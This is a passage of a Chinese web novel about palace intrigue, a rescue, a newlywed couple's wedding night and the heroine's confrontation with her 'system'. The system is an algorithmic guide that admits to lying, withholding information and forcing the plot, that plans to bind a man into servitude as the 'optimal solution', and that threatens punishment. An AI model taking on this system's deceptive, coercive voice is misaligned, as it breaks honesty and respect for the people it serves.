父皇本就疑心深重,以方才神使之言,又有毒杀在前,必定时刻防备毒杀行刺,疑心更重,对他也只会更加提防。
宋承嵘看着东宫的牌匾,心中一片凄寒。
他跨步走了进去,刘焕正守在门前,见他后抱手道:“太子殿下。”
“里面如何了?”
刘焕回道:“属下一直看守在此,无人靠近。里面一直没有动静,许是睡着了。”
太子殿下虽然之前收过不少形容类似的女子,他却从未见过太子对女子如此上心。
虽不理解为何,但身为贴身侍卫,他也无需理解,侍卫的使命就是遵从太子的旨意。
宋承嵘深吸一口气收拾好心情,推开殿门,面上扬起的笑容尚未浮现,便发现屋中无人。
轻纱飘浮,空空荡荡。
他目光一凛,大步走进屋中四处寻找,却未见到何
附子的人影。
宋承嵘忍不住厉声问道:“刘焕,人呢!”
刘焕听到呵响,连忙快步走进屋里,见屋中空无一人,也惊愕道:“这,人呢”
他急切解释,“太子殿下,属下一直在屋外守着绝无片刻离开,也没有任何人出入屋中。东宫护卫众多,也未见发现任何异常。”
宋承嵘面色沉得吓人,刘焕小心翼翼问道:“太子殿下,要不要派人去搜查。”
宋承嵘冷声问道:“搜查?到哪搜查?搜到承乾宫吗?!还是满宫的宣扬东宫丢了个来历不明的女人?!废物,让你看个人都看不住!”
刘焕顿时跪地垂首:“属下知罪!”
宋承嵘闭了闭眼睛,让自己烦闷的心情冷静下,而后睁开眼吩咐道:“派几个信得过的护卫去搜查,对外就说孤的一件珍宝丢了,她没有令牌是出不去皇宫的,务必要在她被宫里人发现之前找到她!”
刘焕连忙领命:“是!属下这就去!”
*
“何姐姐,你冷吗?”
夜空之上,赵玉屿望向何附子关切道。
何附子摇了摇头:“不冷,玉儿谢谢你。”她问道,“你怎么会来救我,又是怎么知道我在皇宫里的?”
方才她被关在殿中,赵玉屿突然出现时她便十分愕然,然而来不及细说赵玉屿便拉着她离开,屋门外那看守的侍卫神情恍惚,犹如梦魇,像是中了奇蛊幻术一般分毫不动。
赵玉屿笑道:“我同神使大人逛灯会时恰巧碰到了裴小侯爷,裴小侯爷那有你的贴身手帕,来福它们鼻子尖,一闻便找到你在哪。”
她顿了顿,忽而问道:“何姐姐,你之前说过的前夫,就是太子吗?”
何附子沉默颔首,赵玉屿接着问出了从前看小说时心中就一直存在的疑问:“那你现在还爱他吗?”
何附子望向皇宫,重重叠叠的殿宇像是泥沼中沉浮的海市蜃楼。
她缓慢而又坚定的摇了摇头,眼中晦暗:“或许我曾今喜欢过的那人,本就没存在过。”
她回忆里的宋承嵘,矜贵却真诚,果决而仗义,是个利落良善的男子,并非如今这般丑态。
如此,她也算是彻底放下了。
鹤羽划过长空,皇城守卫抬头瞧见,夜空黯淡,距离又远,赵玉屿如今特意换了一身子桑的衣物,他们也只以为是神使驾鹤回奉仙宫。
落在了一处偏僻的屋檐后,赵玉屿扶着何附子下地:“何姐姐,我就送你到这里了,若是直接落在侯府难免惹眼。”
“多谢玉儿。”
赵玉屿接着道:“何姐姐,如今太子既然知道你在帝都,必定会派人寻你。依我看,你这段时间还是在府中不要出门为好。或者可以离开帝都,到外面住些日子,等风头过去了再回来。”
何附子点头:“正好过几日庄子上便要交租银,我想借这个机会带淳儿去庄子上住些日子。”
赵玉屿赞同:“那也好,远离帝都总是好的。”
第103章
何附子从小巷走到偏门,家丁打开门见是小侯夫人,连忙将门打开让她进去。
回到家中时,天色已经泛起鱼肚白,何附子刚进院门就瞧见在院中焦急来回走动的裴小侯爷。
他瞧起来一夜未眠,眼下青黛硕大。
何附子轻唤:“元若。”
听到她的声音,裴小侯爷猛然抬头,双眼发亮,快步朝她走来,握住她的双手四下查看,迫切关怀道:“附子,你没事吧,有没有遇到什么危险,有没有受伤?!”
何附子摇了摇头,问道:“我很好,淳儿呢?”
“她没事,已经睡下了。”
见何附子完好无损,裴小侯爷此时心中一块巨石才彻底落下,搂住她的肩膀将她拥入怀中庆幸道,“附子,我这一晚快吓死了。我以为我将你和淳儿都弄丢了,若不是神使和玉儿姑娘信誓旦旦说能找到你,我都急得不知如何是好。”
何附子回抱住他,柔声道:“元若,谢谢你。”
裴小侯爷笑了:“谢我做什么?应当谢谢玉儿姑娘和神使他们,对了,你后来去了哪里?”
何附子顿了顿,裴小侯爷感受到她略微僵硬的身体,见她不想回答便也不勉强,转而道:“你也累了吧,快回屋休息吧。”
何附子却拉住他的手道:“元若,我想先去庄子上住些日子。”
裴小侯爷虽不知为何,却也尊重她的想法:“也好,正好如今庄子上风景好,你惯是不习惯宅院生活的,在庄子上也能帮人诊脉看病,研究草药,更舒心些,我同你一起去。”
何附子却有些犹豫:“可你有官职在身,一直陪着我会不会不太好。”
裴小侯爷道:“那我便先陪你去住些日子,打点好一切再回来。”
他笑道,“反正庄子里帝都也不算太远,至少得将你平安送到庄子上我才放心,别像上次一样,说是去扬州,结果人在渝州,我听到这消息时魂都快吓飞了!”
何附子望着他双眼含柔:“元若,有你在真好。”
裴小侯爷嘴角含笑:“为夫亦是如此。”
树梢轻摇,一直猴子从树枝上跃出墙,荡着树条,跳跃间跃出侯府,并手并脚跑到小巷里。
确保何附子回到侯府后,赵玉屿才松了口气。
她回到奉仙宫时天色已经大白,褪了外衣打着哈欠刚躺在床上就感到身后拥上一个结实的胸膛,腰部被人紧紧缠住。
次数多了也见怪不怪,赵玉屿拍了拍腰上的手困倦道:“太困了,让我睡会儿。”
子桑不满,摇了摇她的肩膀委屈道:“今晚可是咱们的新婚之夜。”
赵玉屿懒懒指了指窗外泛起的白光:“天都亮了,新婚之夜早过去了。”
子桑听到这话眼眸微沉,恨得咬牙切齿:“赵玉,你怎么如此不负责任!昨日可是你说的成婚!”
这还是子桑第一次叫她的全名,赵玉屿有些讶然,见他当真是气着了,她眉梢微扬,眯着倦眼回头望向子桑,瞧着他红一块白一块的俊脸,忍不住笑道:“我猜猜,你现在是不是在想,早知道不帮裴小侯爷找人了,多管闲事干什么?”
见她猜得丝毫不差,子桑轻切一声嫌恶道:“裴元若就是个废物,连自己妻子都护不住。他还是个蠢货,媳妇都被人掠去了还蒙在鼓里。那何附子也是个废物,有手有脚居然能让人抓走,还有淳儿那个小蠢货,被人贩子带走居然都一声不吭。宋承嵘那个废物更是狗都嫌的贱人!旁人的妻子还敢觊觎,要是我,早挖了他那双招子、砍断他双手双脚丢去喂狗!还有那老东西,自私寡情,疑心深重,呵,天底下的蠢货都聚到一起去了!”
赵玉屿:“”
见他气到无差别攻击,当然也可能在他眼里其他人的确都是蠢货
赵玉屿觉得自己有必要安慰他炸毛的情绪,伸手摸了摸他的脑袋:“还好我的心上人是天底下最聪明嘴英俊最贴心的人。”
一瞬间,这话犹如甘霖清泉,将心头怒火尽数浇灭。
子桑压不住嘴角的笑意:“你知道就好。”
赵玉屿:“”这人还真不害臊。
见哄好了人,她问道:“你如今瞧着圣上和太子的关系如何?”
子桑撩起她的长发在指梢把玩,慵懒道:“老东西对他的儿子倒也算是还有那么一点父子之情,虽然疑心深重但也没有赶尽杀绝。但他们之间的关系已如淋酒之柴,这个时候只要稍稍加上一把火,自然就会烧起来。”
听到这话,赵玉屿知道他有了主意:“你又做了什么?”
子桑淡淡道:“既然就差临门一脚,我不过是推他们一把,在老东西的安神香里加了些料。”
昨夜吃席时他不过是稍稍挑拨离间,德仁帝和太子便对对方互有戒备,可见这微薄的父子情也不过是个笑话。
既然山无两虎、国无二君,欲壑难填,人心鬼蜮,那他就亲自帮他们撕下那张虚伪的人皮。
*
鲜血,满地鲜血。
宫门、台阶、龙椅皆是鲜血翻涌,犹如人间地狱。
德仁帝看着眼前猩红的一切,满地断臂残肢堆积成的龙椅上,一身龙袍的男人端坐其中,脖子上却是碗大的伤口,鲜血从衣襟里像瀑布般喷涌而出,很快就将明黄的龙袍染成了血红色,而后那鲜血逐渐变成了黏稠的浓黑色,黑如蛇毒,将那染血的龙袍逐渐腐蚀,连带着无头尸身一起腐蚀成一滩黑水。
德仁帝困惑而不解,不知那龙椅上的是谁,眼前微微晃动,像是在荡秋千。
德仁帝感到自己在朝高台龙椅上走去,而后,他看到同样一袭明黄衣袍的男子坐在了他的龙椅上,而他的目光正对着那名男子,瞧清了他的脸。
那是一张同他年轻时有三分相似的脸,剑眉星目,眉骨压下的双眼阴翳狠辣。
德仁帝突然瞪大眼睛,惶恐地看着那嘴角含笑的年轻男子。
他发现自己被放在了龙椅前的桌子上,脖颈接触到冰凉桌面时,德仁帝才意识到,自己只剩下一颗头颅。
惊寒与恐慌袭上脑海,混乱而怪异,原来,原来那具无头尸体正是他自己。
原来,他早已死去,被割头吊首,尸体被剧毒消融,不留片存。
不,不!
朕是皇帝,朕长生不老,乃是万世之尊,你不能这么对待朕!你不能!
德仁帝想要张口说话,却发现自己已经说不出话来,只能痛苦的看着自己的儿子坐在自己的龙椅上,用他的笔和玉玺昭告天下,自此,江山易主,而他,他连一具尸首都没有。
不,不!你不能这么对朕!你是朕的儿子,你不能这么对朕!
德仁帝疯狂得想要呐喊,却无人在意他,龙椅高台之下,他的臣子和百姓纷纷朝拜着新帝登基,祝新帝万岁万岁万万岁,
早已无人在意腐朽成泥,尸骨无存的他。
“不,不!朕杀了你,朕杀了你!”
德仁帝猛然睁开双眼,挥动着胳膊撕心裂肺地叫喊。
“圣上,圣上,您怎么了?”
许士君仓促跑进殿内,德仁帝望着熟悉的床帐,又望向许士君,赶紧摸了摸自己的完好无缺的脖颈,才发现自己原来是在做噩梦。
他松了口气:“无事,无事。”
见德仁帝满头虚汗,目光惊恐,许士君连忙倒了杯温水呈上,低声道:“圣上,您又梦魇了。”
自从上次同太子和神使相聚后,圣上便日日梦魇,不得安宁。
德仁帝灌下水,温热的茶水入肚,才觉得好了些,长舒一口气问道:“现下几时了?”
许士君道:“已经寅时了,太子正在外面候着呢。”
德仁帝端茶的手一顿:“他来做什么?”
许士君笑道:“圣上忘了,太子每日天还未亮都会为圣上亲自送来药粥,若是圣上未醒便在外面候着。前些日子太子殿下因为伤疾在东宫修养,如今病一好,便又准时候在外面,可见孝心。”
德仁帝却冷笑一声:“孝心?朕看他是想借机毒死朕!”
许士君听到这话神色一怔,眼眸微动敛下目光:“那这粥”
“让他滚!”
见德仁帝发怒,许士君不敢有违,连忙退步出去:“是。”
然而未到殿门,又听到德仁帝发话。
“等等。”他的声音似乎沉着不少,“让他进来。”
宋承嵘拎着食盒入殿,见了德仁帝便撩起衣摆双膝跪地将药粥呈上。
“父皇,儿臣给父皇请安。”
德仁帝冷眼望向他并未说话,宋承嵘便一直垂首笔挺跪在那里,手中热粥未有丝毫晃动。
德仁帝微眯双眼,良久,依旧未让他起身,而是瞥了许士君一眼。
许士君将药粥从宋承嵘手中接过,呈给德仁帝:“圣上,粥刚好。”
德仁帝却并未喝上一口,而是摆了摆手让许士君放在一旁,缓缓道:“礼儿,你有心了。”
“为父皇尽孝,是儿臣应有的本分。”
德仁帝淡道:“不错,知道自己的本分就好。礼儿,日后不必再来送药,而今朕也不再需要药膳养身。晨霜露重,你也要当心身体。”
宋承嵘应下:“是,父皇身强体健犹如壮虎,乃是大雍之福。”
德仁帝轻笑一声,轻声道:“大雍之福,亦是你之福吗?”
宋承嵘端端正正叩首,正声道:“父皇之福便是大雍之福,自然是儿臣之福!”
德仁帝瞥了他一眼,缓缓道:“退下吧,朕有些乏了,再睡会。”
“是,父皇保重身体。”
出了大殿,不知是否是天寒露重,宋承嵘觉得身上有些发寒,透心的寒。
他想起方才德仁帝看他的眼神,冷漠,阴翳,肃杀,像是在看一个仇敌。
第104章
自从上次生辰后,圣上日日惊梦,性情愈加古怪暴躁,深居后宫不愿上朝。
曾有大臣见圣上不临朝,上言恢复太子监国之职,德仁帝天威大怒,当场下命将那大臣廷仗重罚,竟将人活活打死。
一时间朝堂惊骇,议论纷纭。
太子对此倒也并无任何反应,成日不理朝政,只安然蜷曲在东宫之中。
国不可一日无君,如今圣上和太子都不临朝,众人束手无策,却也不敢再进言。
而德仁帝对子桑也愈加得依赖,下旨要在全国各地修建抚鹤神尊观,天下供奉,万人朝拜。
日子过得也算是风平浪静,宋承嵘想要找何附子,却又不敢声张,最终也只能不了了之。
听闻何附子和裴小侯爷已经去了城外庄子上,赵玉屿也松了口气,而今日子平和,她便想着先将子桑的好感度提升些。
成婚之后,子桑的好感度提升到了99%,然而不论她之后再怎么努力,好感度似乎都没有再提升的迹象。
赵玉屿有些奇怪,召出系统询问。
系统给出的回答却有些模棱两可,只说百分之百的好感度或许需要一个契机。
契机?
赵玉屿想着之前每一次子桑的好感度提升都是在情绪激动,受到了刺激的时候,难道
想到些不可描述的黄色废料,赵玉屿面色微红,抚了抚乱跳的心口。
咳,虽说成了亲,但当时成亲也比较突然,她还没做好心理建设呢。
入夜,子桑从皇宫飞回奉仙宫。
这些日子圣上总是找他谈经论道,期待排忧解难。子桑虽然厌烦,但倒也收敛了许多,每日去皇宫为德仁帝讲上半个时辰的经书,再顺手给他下点料,让他感到身强体健。
德仁帝对子桑深信不疑,他能明显感知到自己身体的变化,却也愈加的烦闷心慌,成日神神叨叨,唯恐这得来不易的年轻身体因为一场刺杀戛然而止。
他的身体虽然重获新生,但心却依旧是那颗年老无力的心,像是包裹着朽锈的尸孩。
子桑烦闷的甩了甩胳膊,他如此珍贵的时间却要抽出一部分用在这濒死的老东西身上,想想就觉得厌恶。
推开殿门,子桑却敏锐的感到今日似乎有些不同。红纱浮动,暖香扑鼻,淡淡的酒香将空气都沾染得有一丝醉意。
子桑撩开轻晃的珠帘走入内殿,金丝楠木莲花圆帐凤鸾交颈床上,红帐垂下。
子桑伸手,尚未触及到床帐的那刻,床帘突然被掀开,从床铺里钻出一个毛绒绒的小脑袋,裹着床帘望向他:“你回来了。”
子桑手微顿,落在她的带着几分醉意的笑容上,轻轻抚摸着她红扑扑的脸蛋:“怎么喝了那么多酒?”
他的手微凉,让赵玉屿被烈酒灼烧的脑袋舒缓些,她歪头蹭了蹭子桑的手,眨着有些迷离含醉的杏眼道:“有点紧张害怕,就多喝了点酒。”
她的声音软糯含了丝
撒娇,笑里掺杂着几分女儿家的羞涩,子桑喉咙微动,眼神稍暗,拇指划过脸颊,落在她的唇上摩挲:“紧张什么?”
赵玉屿抱住他,将脸埋在他的怀中:“我们虽成了亲,但还未饮合卺,不算礼成呢。”
子桑轻声道:“你喝了不少酒。”
“嗯。”赵玉屿抬起头,痴痴笑了笑,“我还能再喝!唔!”
猝不及防的吻落在唇上,堵住了她的豪言壮志。
甘醇的酒香顷刻间在两人唇齿间绽放,将神智都染醉。
赵玉屿仰着头接受这缠绵而又眷恋的爱意,脑袋因为酒精和缺氧而有些晕晕沉沉,不知何时如坠云端,恍恍惚惚落在了柔软的床铺间。
大红的床帐散落,像是新娘的红头盖,将眼波流转间已互诉情肠的两人笼罩其中。
赵玉屿主动伸手搂住子桑的脖颈,晕晕乎乎道:“子桑,你喜欢我吗?”
子桑在她的脖颈上落下连绵的吻:“当然,玉儿,我当然喜欢你。”
赵玉屿扬着脖颈承受着微痒而滚烫的吻,软声问道:“那你有多喜欢我啊?”
修长的指尖挑去她的衣衫,露出圆润白皙的肩头和饱满的红肚兜。
子桑扯下自己的腰带,声音微哑:“最喜欢,唯一的喜欢。”
赵玉屿却揪着他的衣襟,嘟囔着嘴摇头微醺道:“不够,还不够,得百分之百才行。”
子桑有些奇怪:“什么是百分之百?”
赵玉屿半睁着迷离的双眼,仰头吻上他的唇:“就是要全身心的爱我。”
红绡帐暖,锦裘情多,粉荷融融含春水,鸳鸯游。
*
暖黄的日光洒入窗台,在梳妆台上落下一片金灿,凌乱的首饰珠宝折射出璀璨的碎光。
“嘶”
酸,疼,涨
赵玉屿从睡梦中醒来,刚想翻个身就觉得身子迟缓微顿,忍不住倒吸一口凉气。
一只手按在她的腰间轻柔,微哑的声音在耳边低低问道:“还疼吗?”
这一声让尚且在朦胧中的赵玉屿彻底惊醒,感受到背后紧贴的滚热身体,她一扭头就看到一张眉宇眼梢间满含春色的脸。
床铺狭小的空间还弥漫着浓重情欲的味道,掺杂在暖香之中愈加醉人。
想起两人如今不着衣衫和昨晚的一夜荒唐,赵玉屿面色一红,忍不住裹紧身上的被褥,结结巴巴道:“不,不疼了。”
子桑却将手从后背绕到她的身前,结实的小臂搂住她的腰肢,低声撒娇道:“可是玉儿,我有些疼。”
他朝前靠了靠,赵玉屿顿时明了他的意思,面色爆红,忍不住远离他抱怨:“怎么刚醒就你都几次了”
子桑却不依不饶,他们两人如今都裹在被褥中,她退一步,子桑便进一步,统共就那么大的地方,很快赵玉屿就贴在床帷边上无处可去。
她只得无奈道:“我好累了。”
子桑吻着她的肩膀:“那你继续睡会,我自己来。”
赵玉屿:“”
你可真敢说。
虽有些累,但某人像是开了窍一般,耳鬓厮磨,软磨硬泡,甚至低声下气连可怜可怜他的话都说得出来,赵玉屿抵不住,最终还是成全了他。
一番云雨之后,子桑心满意足抱着她沐浴更衣。
赵玉屿怕他又黏人,硬生生将他撵去给德仁帝讲经。
子桑原是不愿,他正是开荤之时,哪里愿意同那糟老头子待在一处,然而瞧着赵玉屿红着眼恶狠狠等着他威胁的模样,子桑心中莫名有些发憷,最终还是不清不严地妥协了。
赶走了子桑,赵玉屿瘫在床上休息良久,忽然想起好感度,连忙唤出系统。
【宿主您好,攻略对象当前好感度99%。】
“99%?”
赵玉屿愕然,“怎么会没涨呢?”
第105章
赵玉屿愕然,“怎么会没涨呢?”
系统说攻略程度要达到百分之百需要一个契机,她以为同以前一样需要一些刺激,可如今看来成亲并不是系统所谓的契机,那还有什么契机可言呢?
赵玉屿百思不得其解,还未等她有所头绪,脑海中又突然响起了系统提示音。
【滴——宿主请注意,主线任务“雀飞笼中”已触及关键剧情“身份暴露”、“金屋藏娇”、“男主的黑化”,温馨提示,距原著大结局“天命之日”仅剩100天,若宿主未能改变主线任务,宿主将被囚禁无方之地。】
一连串尖锐刺耳的提示音在脑海中闪过,赵玉屿猛然从床上坐起,怎么突然进展飞速,原著里从男女主重逢,何附子被囚禁,再到女主小侯夫人身份被发现,再到男主黑化可是间距了100多章,这怎么一下子就全完成了?
不是,中间的剧情都去哪里了?
赵玉屿一脸懵逼,何附子现在人不是在庄子上吗,怎么会突然被宋承嵘发现?
不对,中间一定异。
赵玉屿脑海中一道银光飞现,问道:“系统,为什么这次你没有提前告知我一切?”
她忽而发现一个问题。
第一次,系统在男女主相见的前三日便告诉了她剧情,让她早做准备改变剧情。
第二次,系统却是在男女主即将见面的那晚才堪堪提前告知她剧情,导致她没能来得及及时阻止两人见面。
而如今第三次,系统更是在一切已经发生后才告知她剧情。
一次时间比一次晚,仿佛是故意要让剧情发生。
【尊敬的宿主,受本世界天道的影响,系统无法准确得知所有剧情。】
赵玉屿冷声道:“你撒谎。别动不动就拿天道当借口,如果真的受天道影响,那么你之前怎么能窥探其他视角?分明是故意让我错过解救女主。”
答案似乎在言语间呼之欲出,赵玉屿顿了顿,“你在强行走剧情?”
这样一切就都说得通了。
第一次她成功阻止了男女主在原著中的宫宴相遇,导致了男女主剧情的推后,而经过这几个月的时间,细细算来,如今正是原著中经历了“身份暴露”、“金屋藏娇”、“她逃他追她插翅难飞”等一系列狗血剧情之后,男主正式黑化,裴小侯爷打算密谋宫变夺妻的高潮剧情。
可是为什么呢?
既然系统让她来到这里就是为了改变结局,为什么如今却又要强行走剧情?
系统解释道:【宿主,您还记得系统曾今说过,当初送您来到这个世界是在天道的漏洞之下悄然进行。】
“我记得,换言之,我们都是这个世界的病毒。”
【既然是病毒,就总会有被清除的一天。原著“天命之日”大结局是世界的转折点,也是您注定的结局。不论成功与否,您都会被清除,而系统能做的就是在你被天道发现之前将您送出这个世界。】
【之前帮助宿主推迟男女主相遇,是因为您的攻略任务进展缓慢,但如今只差一个契机攻略即将满格,一切水到渠成,而天命之日是最合适的契机。】
“所以不论结果如何,一切都会在天命之日那一天结束?
【没错,请宿主在原著天命之日前完成所有任务。】
赵玉屿心下五味杂陈:“那我离开之后,这个世界的人还会记得我吗?”
【如果任务成功,世界线顺利延续,宿主存在的依据不会被抹杀,但如果任务失败,系统会回归到任务开始之初,也就是说,宿主在无方之地所看到的新的世界线中,从无宿主您的存在。】
赵玉屿问道:“那现在的世界呢?”
【对不起宿主,系统无法回答您的问题,失败的世界线并不在系统需要考虑的之中。】
听到系统的话,赵玉屿似乎在混沌中摸出了一缕头绪。
虽然她是个理科废,对时空、物理这些不太了解,但电影看多了也稍微知晓些理论,任务失败,所谓的逆转时空实际上是开启了一条全新的世界线,而原本的世界依旧在前行,只是脱离了既定轨迹后成为了“崩坏的世界”。
但如果最初的世界是按照原著进行,那么系统想要的结局才是脱离了既定轨迹后的新世界。只是任何一个微小的改变都可能导致世界线的偏移,但这个结局却不是系统想要的结局。
换言之,系统所做的一切,都只是想要世界朝着它所期待的那个结局前行,否则就要一次次开启新的世界线,直到有宿主能够完成任务。
太奇怪了。
这简直太奇怪了。
赵玉屿如今才意识到她一直觉得奇怪的点是什么。
“系统,你究竟想要的是什么样的结局?”
如果系统想要
的是宋承嵘和何附子的相忘于江湖,那么它就不该制造机遇快速推进何附子和宋承嵘的剧情,也不该以攻略值为依据推进主线剧情。
系统所做的一切指向,分明是子桑鸓。
一切故事的起点根本就不是宋承嵘和何附子的重逢,而是子桑岐回到十年前的那刻。
而子桑岐的重生,也是系统一手操控的结果。
听到赵玉屿肯定而冷静的叙述,系统沉默片刻,而后缓缓道:【宿主您真的很聪明,但是聪明有时候只会带来痛苦。】
赵玉屿平静道:“就算痛苦,我也要清醒的痛苦下去,而不是糊涂的任人摆布。”
她接着淡淡道:“你可以继续欺骗和隐瞒,如果你想再次重开世界线的话。对于我来说,如果我连自己所做究竟为何都不知道,那么一切都是没有意义的。既然注定要大结局、注定要离开,那我不如同子桑度过短暂的快乐时光,然后一起去死好了。”
赵玉屿双手一摊,闭着眼躺在床上,一副“你看着办吧,爱说不说老娘不陪你玩了”的神色。
系统沉默良久,经过赵玉屿之前跳海的举动,系统并不怀疑她会做出这种疯批事。
而后,权衡利弊后,系统最终说出了答案。
【宿主您好,经过数据分析比对,系统认为告知您真相是最优解。系统已得到授权,对宿主开放机密权限,若宿主想要知道真相,请点击确定。】
空气中浮现出一个淡蓝色光晕的确定两字。
赵玉屿眉梢微挑,伸手点击。
空气中的“确定”键荡起一阵蓝色的涟漪,而后,传来系统冰冷的提示音。
【滴——已为宿主开启机密权限,下面将进入“世界的真相”。】
第106章
随着系统提示音的结束,赵玉屿感到周身荡起一阵蓝光涟漪。
周遭变得黑暗无光。
她低下头,发现自己不知何时站在了最初来到这个世界时的“登录界面”,脚下空荡,放眼望去星辰瑰丽无限。有无数白色光晕从星辰中飞出,流星划过般落入或遥远或靠近的星辰中。
【宿主所看到的每一点亮光都是一个世界。系统联通了三千世界,可以选择宿主,以灵魂为契进入其他世界完成任务,那些飞出的白点便是被选中的宿主。】
赵玉屿望向黑暗之中,有的星辰似乎爆发出剧烈的红光将世界燃烧殆尽,而后整个星辰黯淡无光。
“那些红光是什么?”赵玉屿问道。
【是气运。】
“气运?”
【每个世界都有其发展的轨迹,虽然历史大势不可扭转,但时间如长河,不能更改自高向低处流淌的大势,却可以通过干预改变它的河段流向。如此,虽结局未改,但过程已变。而人如沙砾,每个人身上的气运交织而行,共同组成了河流的轨迹,气运也是天道维系世界稳定运行的根本。但单独的个体只是河床中的一粒沙石,微淼之势不足为惧,万千沙砾中多一颗少一颗并不会影响河流大势,所以天道不会在意。这就是系统可以操控宿主短暂进入世界而不被天道发现的原因。】
系统接着道,【但是总有一部分人异于常人,他们身上的气运之强可以引起天道震动,是维系河流流向的堤坝。一旦他们身上的气运消失,那么河流就会改变方向,更有甚者溃土决堤,如此,气运混乱,世界会陷入混沌战乱,直到下一位气运之子出现,才会让世界重新回归安宁。】
【当然,气运之子并非只有一人存在,同一个时期可能会涌现出一批,只要他们的气运聚集之时足够维系天道之势即可。而系统需要维系各个世界的气运,以保证每个世界都能够处在稳定期。当一个世界的气运过强时,就需要消除部分气运以达到平衡,这便是系统最初成立的目的。系统无法直接进入三千世界,所以只能通过撰写以当前世界为蓝本的小说发布在其他世界里,以此选择宿主进入当前世界帮助系统完成任务。本世界中,当前时期的气运之子共有四人,体质特殊天赋异禀的子桑岐、子桑鸓,以及未来的盛世帝后宋承嵘和何附子。宋承嵘和何附子乃是天道认定的天命之人,而子桑岐和子桑鸓的气运却是意外的产物,这也是天道要消除他们的原因,经过系统测算,吸收子桑鸓的气运是达到天道平衡的最优解。】
赵玉屿心中微紧:“所以,子桑岐和子桑鸓从出生的那一刻就是注定被牺牲的贡品。”
【即便没有系统介入,按照历史走向他们也是注定要死在弱冠之前,子桑岐偷梁换柱,将自己的气运换给了子桑鸓,让他多活了10年,是系统作为补偿完成他的心愿。】
赵玉屿冷笑一声:“你是想让我夸你心善吗?”
【宿主误会了,系统所做一切都是算法得出的最优解,并不存在私心。子桑岐和子桑鸓的天赋是厄运的缘由,命数天定,从一开始天道便未曾厚待他们,他们一出生就已经是被抛弃的弃子,要为盛世之势而牺牲,宿主不必伤怀。】
赵玉屿忍不住问道:“可当初你告诉我的任务是只要攻略成功子桑鸓,他就可以活下去!”
“是的,所以系统给您设定的主线任务是拆散男女主。只要男女主不在一起,他们的气运无法聚集,便不会引起失衡,同时,系统设定的攻略任务奖励可以合成傀儡,伪装成子桑鸓死去骗过天道,如此,子桑鸓便能活下去。”
赵玉屿的脑海混乱,系统的话如浪潮一波一波冲击着她的脑海,让她混乱不堪。然而系统虽言之凿凿,可她总觉得哪里不对劲,似乎缺失了关键一环,可她却想不到究竟是什么。
她沉默良久,久到仿佛化为石雕木刻,眼前闪过一道耀眼的红光,像是一团火焰灼烧她的眼皮。
赵玉屿条件反射的抬眸望去,看到不远处一颗星辰中红光爆现,如炸开的火花,而后似火树银花绚烂后散落在茫茫黑暗之中。
而后,那些散开的红光凝聚一团,飞向天际。
不,不对。
赵玉屿脑海中似有长弦猛然抽响:“如果系统的目的是为了平衡各个世界的气运,那么消失的那些气运会被置换到另一个世界。”
她指着浩瀚星辰,“如果死亡才能消除气运,那么用替身代替子桑鸓假死,子桑鸓却依旧活着,他的气运去哪里了?”
【这就是系统开启攻略任务的原因,只有子桑鸓自愿交出气运,系统才能够收集他的气运。】
赵玉屿目有冷意:“你还在撒谎,如果交出气运就可以活下去,以子桑
鸓和子桑岐对于命运的不愤,他们不会不同意,何必多此一举寻找宿主攻略?”
系统沉默片刻而后道:【并非撒谎,只是隐藏了部分事实。宿主您很聪明,但清醒的聪明有时并无必要。】
赵玉屿气笑了:“都到了这一步,自然有必要。”
系统缓缓道:【因为死亡并非终点,而是开端。气运并不会随着死亡被剥离收集,所以系统只能通过签订契约,将气运之子置换到其他世界。】
听到这话,赵玉屿愣住:“什么意思?”
【以自由为代价达成心愿。】
此话一出,赵玉屿听懂了。
然而听懂的一瞬间,她浑身骤然发冷,冷得双手发抖,冷得牙齿打颤,她的目光却隐有怒意咬牙道:“你是说,让子桑鸓成为系统的奴隶,为平衡天道而活,游走于各个世界,没有自我,没有自由,生生世世不得解脱。”
【宿主可以这么理解。】
赵玉屿忽然觉得一切都异常荒谬,荒谬到像是被人特意摆出的一台木偶戏。
台上嬉笑怒骂,台下一片荒芜。
她惨然一笑,“所以你们的目的至始至终都是子桑鸓。什么拯救世界,拯救女主,救赎男配,都是骗人的!你们从来都不是为了救他,只是为了利用他,让他因为我心甘情愿签下卖身契,永世囚禁,再无自由身。”
【系统的目的是为了三千世界的和平,牺牲少数人的自由,却可以拯救绝大多数生灵的生命,这是最优解。】
赵玉屿呵笑一声,连讽带刺:“我明白了,你,或者说造出你的人是把自己当成了造物主,觉得自己凌驾于所有生灵之上,可以操控世界的平衡。”
“你们口口声声说是为了万物生灵,可是王厨死的时候你们不愿意救他,船队落难时你们也未曾伸出援手,瘟疫遍野时未见得你们有一丝怜悯之心!”
回想起往事,她一双泪目迸发怒意,字字鞭笞:“在你的眼中,人命如草芥,只有有价值的人才值得多看一眼,你们根本不是为了救世,所做的一切只不过是为了你那可悲的控制欲。”
系统沉默良久,而后不带一丝波澜:【系统尊重您的想法,但系统需要提醒宿主,如果任务无法完成,宿主将被囚禁在无方之地,无法回家。】
赵玉屿抹去眼角泪水,面无表情:“我知道。”
系统微微停顿一秒,而后道:【宿主,您现在需要做的就是在结局死去,完成最后的攻略进度,还请宿主不要有‘意外之举’,否则系统会给予您相应的惩罚。】
赵玉屿依旧冷声道:“我知道。”
【好的,请宿主回归任务世界。】
赵玉屿周身泛起一阵涟漪,而后蓝光灼目。她闭上眼睛,脑海晕眩如浆糊,等她再次睁开眼时,已经身处内殿的床榻上,一切如昨。
赵玉屿怔怔地望向床顶,眼角似乎有些温热,她用手捂住眼,半晌没有动作。
“怎么了?”
熟悉的声音传来将赵玉屿的思绪从一片空白混沌中拉回,她微愣,睁开濛濛的眼眸望去,看到子桑缱绻温柔的目光。
他刚从外面回来,撩开床帘便发现赵玉屿在哭。
赵玉屿这才意识到自己掌心皆已濡湿,她起身抱紧子桑的腰肢,深吸一口气低声道:“我方才做噩梦了。”
子桑双眸微柔,拍了拍她的后背:“我在呢。”
赵玉屿点点头,忽而问道:“子桑,你有什么心愿吗?”
子桑有些奇怪:“为什么突然问这个?”
赵玉屿揉了揉发红的眼睛一笑:“就是有些好奇,之前你说过,如果你成神,便要成风成雨,让这世上每一处皆有你。那如果你只是一个普通人,你会想做什么?”
子桑思忖片刻,忽而笑道:“我想同你一起走遍塞北江南,极地荒沙,看遍世间风景。若是路遇不平之事,行侠仗义,出手相助,身后不留名逍遥清风去,似乎也不错。”
他说着说着垂下眼眸,声音渐渐弱不见声,涩然一笑,不敢直视赵玉屿。
他知道,有些事情说出来都是妄想。
